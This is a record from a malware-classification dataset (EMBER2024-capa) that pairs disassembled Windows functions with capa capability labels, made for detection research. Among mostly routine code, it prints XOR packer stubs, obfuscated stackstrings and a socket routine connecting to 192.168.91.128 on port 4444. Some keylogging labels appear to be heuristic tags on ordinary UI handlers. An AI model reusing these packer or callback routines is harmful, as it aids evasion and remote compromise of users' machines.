joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49ffc8
Capabilities:
Create thread

Disassembly:
push 0
mov eax, 0x521d7a
call fcn.005020ba
xor edi, edi
cmp dword [0x56df2c], edi
je 0x4a0091
cmp dword [0x56ec18], 0xfffffffe
jne 0x4a007e
cmp dword [ebp + 8], 0xffffffff
je 0x4a0091
test byte [0x575cb0], 1
mov esi, 0x575c90
jne 0x4a0027
or dword [0x575cb0], 1
mov ecx, esi
mov dword [ebp - 4], edi
call fcn.0043d56b
push 0x528585
call fcn.00500eb4
or dword [ebp - 4], 0xffffffff
pop ecx
mov ecx, esi
call fcn.0043d5c2
cmp dword [0x575c8c], edi
je 0x4a003b
call fcn.00413828
push edi
push edi
push 0x49ff70
call fcn.0050652c
add esp, 0xc
mov dword [0x575c8c], eax
cmp eax, edi
jbe 0x4a006b
cmp eax, 0xffffffff
je 0x4a006b
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [ebp + 8]
mov dword [0x56ec18], eax
jmp 0x4a0071
mov dword [0x575c8c], edi
push 0x575c98
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x4a0091
mov eax, dword [ebp + 8]
mov dword [0x56ec18], eax
cmp eax, 0xffffffff
jne 0x4a0091
mov dword [0x575c8c], edi
call fcn.00502192
ret
Function at 0x4da780
Capabilities:
Get common file path

Disassembly:
push 0x120
mov eax, 0x524393
call fcn.00502123
mov esi, ecx
mov dword [ebp - 0x128], esi
call fcn.004e01bf
push 0x15c
call fcn.004025c3
pop ecx
mov ecx, eax
mov dword [ebp - 0x124], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp ecx, ebx
je 0x4da7c4
mov eax, dword [esi + 4]
push ebx
push eax
call fcn.004e1b1c
jmp 0x4da7c6
xor eax, eax
or dword [ebp - 4], 0xffffffff
push eax
mov ecx, esi
call fcn.004e0191
call fcn.004114f6
mov eax, dword [eax + 4]
mov edi, dword [eax + 0x88]
lea eax, [ebp - 0x114]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
mov byte [ebp + esi - 0x114], 0x5c
inc esi
mov dword [ebp - 0x124], esi
mov byte [ebp + esi - 0x114], bl
mov dword [ebp - 0x120], ebx
cmp edi, ebx
je 0x4da960
cmp dword [edi + 4], ebx
jle 0x4da960
lea ecx, [ebp - 0x118]
call fcn.00403908
mov edx, dword [edi]
xor eax, eax
inc eax
push eax
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x114]
push eax
push ebx
lea eax, [ebp - 0x118]
push eax
mov ecx, edi
call dword [edx + 8]
test eax, eax
je 0x4da944
lea ecx, [ebp - 0x11c]
call fcn.00403908
mov eax, dword [ebp - 0x120]
mov byte [ebp - 4], 2
cmp eax, 9
jne 0x4da895
push dword [ebp - 0x118]
lea eax, [ebp - 0x11c]
push 0x542c40
push eax
call fcn.00403a68
add esp, 0xc
jmp 0x4da8c7
jge 0x4da8b5
push dword [ebp - 0x118]
inc eax
push eax
lea eax, [ebp - 0x11c]
push str._d__s
push eax
call fcn.00403a68
add esp, 0x10
jmp 0x4da8c7
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x11c]
call fcn.0040d793
push 0x15c
call fcn.004025c3
pop ecx
mov dword [ebp - 0x12c], eax
mov byte [ebp - 4], 3
test eax, eax
je 0x4da8eb
mov ecx, eax
call fcn.004b365b
mov esi, eax
jmp 0x4da8ed
xor esi, esi
push dword [ebp - 0x11c]
mov eax, dword [esi]
mov ecx, esi
mov byte [ebp - 4], 2
call dword [eax + 0x10]
mov eax, dword [esi]
lea ecx, [ebx + 0xe110]
push ecx
mov ecx, esi
call dword [eax + 0xc]
push ebx
mov ecx, edi
call fcn.004107e2
mov eax, dword [eax]
mov edx, dword [esi]
push eax
mov ecx, esi
call dword [edx + 0x24]
mov ecx, dword [ebp - 0x128]
push esi
call fcn.004e0191
mov ecx, dword [ebp - 0x11c]
inc dword [ebp - 0x120]
add ecx, 0xfffffff0
call fcn.00401ff0
mov esi, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x118]
or dword [ebp - 4], 0xffffffff
add ecx, 0xfffffff0
call fcn.00401ff0
inc ebx
cmp ebx, dword [edi + 4]
jl 0x4da82e
call fcn.005021a6
ret
Function at 0x4df322
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x4df33a
mov edi, dword [esi + 0xc]
jmp 0x4df37a
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4df353
call fcn.00411d2c
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4df368
call fcn.00411d2c
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4df37a
call fcn.00411d2c
call fcn.004114f6
cmp dword [eax + 0x3c], 0
je 0x4df38f
push edi
mov ecx, ebx
call fcn.004de17d
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004df248
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x5c]
test eax, eax
je 0x4df3ad
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x5c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x4df3b9
mov edi, eax
mov dword [ebx + 0x5c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4e6906
Capabilities:
Log keystrokes via polling

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
cmp dword [ebx + 4], 0x20a
push esi
mov esi, ecx
jne 0x4e6950
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
test ecx, ecx
je 0x4e6950
call fcn.004e61ee
test eax, eax
je 0x4e6950
push dword [ebx + 0xc]
mov eax, dword [esi + 0x54]
push dword [ebx + 8]
mov ecx, dword [eax + 0xb4]
push dword [ebx + 4]
call fcn.00401ec0
xor eax, eax
inc eax
jmp 0x4e6b68
cmp dword [ebx + 4], 0x100
push edi
jne 0x4e6b5f
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x12
call edi
test ax, ax
jl 0x4e6a4d
push 0x11
call edi
test ax, ax
jl 0x4e6a4d
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
test ecx, ecx
je 0x4e6a4d
mov eax, dword [ebx + 8]
cmp eax, 0xd
je 0x4e69c0
cmp eax, 0x20
jbe 0x4e6a4d
cmp eax, 0x24
jbe 0x4e69b3
cmp eax, 0x26
je 0x4e69b3
cmp eax, 0x28
jne 0x4e6a4d
call fcn.004e61ee
test eax, eax
je 0x4e6a4d
mov ecx, esi
call fcn.0040ad1a
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
call fcn.004e61ee
test eax, eax
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
je 0x4e69f5
push dword [ebx + 0xc]
push dword [ebx + 8]
push dword [ebx + 4]
call fcn.00401ec0
jmp 0x4e6b5a
call fcn.004081c8
test eax, eax
je 0x4e6b5a
mov eax, dword [esi + 0x54]
add eax, 0xb8
push eax
mov ecx, esi
call fcn.00408252
mov eax, dword [esi + 0x54]
mov eax, dword [eax + 0xb4]
test eax, eax
jne 0x4e6a23
xor edi, edi
jmp 0x4e6a26
mov edi, dword [eax + 0x20]
mov esi, dword [esi + 0x54]
mov ecx, dword [esi + 0xb4]
movzx esi, word [esi + 0x20]
call fcn.004081c8
push edi
push esi
push 0x111
push dword [eax + 0x20]
call dword [sym.imp.USER32.dll_PostMessageA]
jmp 0x4e6b5a
mov eax, dword [ebx + 8]
sub eax, 9
je 0x4e6b29
sub eax, 0x12
je 0x4e6b01
sub eax, 0xb
je 0x4e6a6f
dec eax
dec eax
jne 0x4e6b5f
push 0x12
call edi
test ax, ax
jl 0x4e6b5f
push 0x11
call edi
test ax, ax
jl 0x4e6b5f
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
test ecx, ecx
je 0x4e6b5f
call fcn.004e61ee
test eax, eax
jne 0x4e6b5a
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
push 1
call fcn.004e6168
mov eax, dword [esi + 0x54]
mov eax, dword [eax + 0xb4]
push dword [eax + 0x20]
mov edi, dword [sym.imp.USER32.dll_GetParent]
call edi
push eax
call fcn.00406e1c
test eax, eax
je 0x4e6b5a
mov esi, dword [esi + 0x54]
lea ebx, [esi + 0x90]
mov esi, dword [esi + 0xb4]
push dword [esi + 0x20]
call edi
push eax
call fcn.00406e1c
push 1
push ebx
push dword [eax + 0x20]
call dword [sym.imp.USER32.dll_InvalidateRect]
jmp 0x4e6b5a
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
test ecx, ecx
je 0x4e6b15
push 0
call fcn.004e6168
mov ecx, esi
call fcn.0040794b
test eax, eax
je 0x4e6b5f
mov ecx, esi
call fcn.0040794b
jmp 0x4e6b53
push dword [esi + 0x20]
mov edi, dword [sym.imp.USER32.dll_GetParent]
call edi
push eax
call fcn.00406e1c
test eax, eax
je 0x4e6b5f
push dword [esi + 0x20]
call edi
push eax
call fcn.00406e1c
push 0
push esi
mov ecx, eax
call fcn.0040f321
mov ecx, eax
call fcn.0040ad1a
xor eax, eax
inc eax
jmp 0x4e6b67
push ebx
mov ecx, esi
call fcn.00404bce
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x4f3aff
Capabilities:
Log keystrokes via polling
Open clipboard
Write clipboard data

Disassembly:
push 4
mov eax, 0x51b697
call fcn.005020ba
mov edi, ecx
mov esi, dword [ebp + 8]
cmp dword [esi + 4], 0x100
jne 0x4f3bd5
mov ebx, dword [esi + 8]
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
and eax, 0x8000
je 0x4f3bd5
cmp ebx, 0x43
je 0x4f3b41
cmp ebx, 0x2d
jne 0x4f3bd5
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4f3bd5
call dword [sym.imp.USER32.dll_EmptyClipboard]
lea ecx, [ebp - 0x10]
call fcn.00403908
movzx ecx, byte [edi + 0xae]
and dword [ebp - 4], 0
push ecx
lea eax, [edi + 0xac]
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
push ecx
push eax
lea eax, [ebp - 0x10]
push str.RGB__d___d___d_
push eax
call fcn.00403a68
mov esi, dword [ebp - 0x10]
mov eax, dword [esi - 0xc]
add esp, 0x14
inc eax
push eax
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
or dword [ebp - 4], 0xffffffff
lea ecx, [esi - 0x10]
call fcn.00401ff0
mov esi, dword [ebp + 8]
push esi
mov ecx, edi
call fcn.00472a20
call fcn.00502192
ret 4

Function at 0x4fbce1
Capabilities:
Log keystrokes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi]
push edi
call dword [eax + 0x150]
mov edi, eax
movzx eax, word [ebp + 8]
push 2
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
cmp byte [ebp + 0xc], 0
jne 0x4fbd21
test edi, edi
jl 0x4fbd21
cmp al, 0x20
je 0x4fbd16
cmp word [ebp + 8], 0x71
jne 0x4fbd21
mov eax, dword [esi]
push edi
mov ecx, esi
call dword [eax + 0x168]
pop edi
pop esi
pop ebp
ret 8

Function at 0x500cb0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x570670]
jne 0x500cba
repz ret
jmp fcn.00507654
Function at 0x514630
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00507a27
and dword [ebp - 4], 0
cmp dword [0x57799c], 0
mov ebx, eax
jne 0x5146e1
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x514792
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x54e818
push edi
call esi
test eax, eax
je 0x514792
push eax
call fcn.005079b5
mov dword [esp], 0x54e808
push edi
mov dword [0x57799c], eax
call esi
push eax
call fcn.005079b5
mov dword [esp], 0x54e7f4
push edi
mov dword [0x5779a0], eax
call esi
push eax
call fcn.005079b5
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x5779a4], eax
call esi
push eax
call fcn.005079b5
pop ecx
mov dword [0x5779ac], eax
test eax, eax
je 0x5146e1
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.005079b5
pop ecx
mov dword [0x5779a8], eax
mov eax, dword [0x5779a8]
cmp eax, ebx
je 0x514739
cmp dword [0x5779ac], ebx
je 0x514739
push eax
call fcn.00507a30
push dword [0x5779ac]
mov esi, eax
call fcn.00507a30
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x514739
test edi, edi
je 0x514739
call esi
test eax, eax
je 0x514730
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x514730
test byte [ebp - 0xc], 1
jne 0x514739
or dword [ebp + 0x10], 0x200000
jmp 0x514772
mov eax, dword [0x5779a0]
cmp eax, ebx
je 0x514772
push eax
call fcn.00507a30
pop ecx
test eax, eax
je 0x514772
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x514772
mov eax, dword [0x5779a4]
cmp eax, ebx
je 0x514772
push eax
call fcn.00507a30
pop ecx
test eax, eax
je 0x514772
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x57799c]
call fcn.00507a30
pop ecx
test eax, eax
je 0x514792
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x514794
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x42e072
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x5d433d81
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x6dfe4b4a
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x3143a592
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
test ecx, ecx
jns 0x3143a5a6
add ecx, 3
sar ecx, 2
xor eax, eax
cmp ecx, eax
jle 0x3143a5b7
xor dword [edx + eax*4], ebx
inc eax
cmp ecx, eax
jg 0x3143a5af
pop ebx
pop ebp
ret 0xc
Function at 0x408fd8
Capabilities:
Hash data with crc32

Disassembly:
push ebp
cmp dword [0x438244], 0
mov ebp, esp
push esi
mov edx, dword [ebp + 0xc]
push ebx
jne 0x409015
xor ecx, ecx
mov eax, ecx
mov ebx, 8
mov esi, eax
shr esi, 1
and eax, 1
je 0x409000
mov eax, 0xedb88320
xor eax, esi
dec ebx
jne 0x408ff2
mov dword [ecx*4 + 0x438240], eax
inc ecx
cmp ecx, 0x100
jne 0x408feb
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
not eax
add ebx, edx
cmp edx, ebx
je 0x409037
mov cl, byte [edx]
inc edx
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x438240]
jmp 0x40901f
pop ebx
not eax
pop esi
pop ebp
ret 0xc

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
mov esi, 0x60e939e2
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x71583c9d
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x1af0058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.01af01a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1af007e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1af006a
add dl, dl
jne 0x1af0089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1af00dc
xor eax, eax
add dl, dl
jne 0x1af0096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1af017d
add dl, dl
jne 0x1af00a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1af00b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1af00bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1af00c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x1af00d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1af0075
mov eax, 1
add dl, dl
jne 0x1af00ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1af00f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1af00e1
sub eax, ebx
mov ebx, 1
jne 0x1af0128
mov ecx, 1
add dl, dl
jne 0x1af010e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1af0119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1af0105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1af0075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1af013f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1af014a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1af0136
cmp eax, 0x7d00
jae 0x1af016d
cmp eax, 0x500
jb 0x1af0168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1af0075
cmp eax, 0x7f
ja 0x1af0170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1af0075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1af019e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1af0075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x406058], 1
mov dword [0x406054], 1
mov dword [0x406050], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40600c], eax
mov eax, dword [0x406064]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x406078]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x406060]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x403014], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x401633
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 0x250
mov dword [ebp - 0x245], 0x736a5061
mov dword [ebp - 0x241], 0x4b67724e
mov dword [ebp - 0x23d], 0x71655747
mov dword [ebp - 0x239], 0x4b425476
mov dword [ebp - 0x235], 0x676a5079
mov dword [ebp - 0x231], 0x50655243
mov dword [ebp - 0x22d], 0x52734b61
mov dword [ebp - 0x229], 0x786d7450
mov dword [ebp - 0x225], 0x64637a73
mov dword [ebp - 0x221], 0x7a485745
mov dword [ebp - 0x21d], 0x66725870
mov dword [ebp - 0x219], 0x6944456c
mov dword [ebp - 0x215], 0x4952
lea eax, [ebp - 0x211]
mov ecx, 0x205
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x245]
mov dword [esp], eax
call sym._strupr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlwr
add esp, 0x250
pop ebx
pop edi
pop ebp
ret

Function at 0x401765
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
jmp 0x4017ca
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x4017ca
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._MwgrVtMeBm
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x401781
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x4018c2
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4018fd
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._MwgrVtMeBm
mov dword [esp], str.192.168.91.128
mov eax, dword [sym.imp.WSOCK32.DLL_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401922
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._MwgrVtMeBm
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [esp], eax
call sym._memcpy
mov word [ebp - 0x20], 2
mov dword [esp], 0x115c
mov eax, dword [sym.imp.WSOCK32.DLL_htons]
call eax
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x401993
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._MwgrVtMeBm
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x402260
Capabilities:
Hash data using djb2

Disassembly:
push ebx
push edi
push esi
mov ecx, dword [esp + 0x14]
test ecx, ecx
je 0x40229a
mov edx, dword [esp + 0x10]
mov edi, 0x1505
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [edx + esi]
test ebx, ebx
je 0x4022a1
mov eax, edi
shl eax, 5
add eax, edi
add eax, ebx
inc esi
mov edi, eax
cmp ecx, esi
jne 0x402280
jmp 0x4022a3
mov eax, 0x1505
jmp 0x4022a3
mov eax, edi
pop esi
pop edi
pop ebx
ret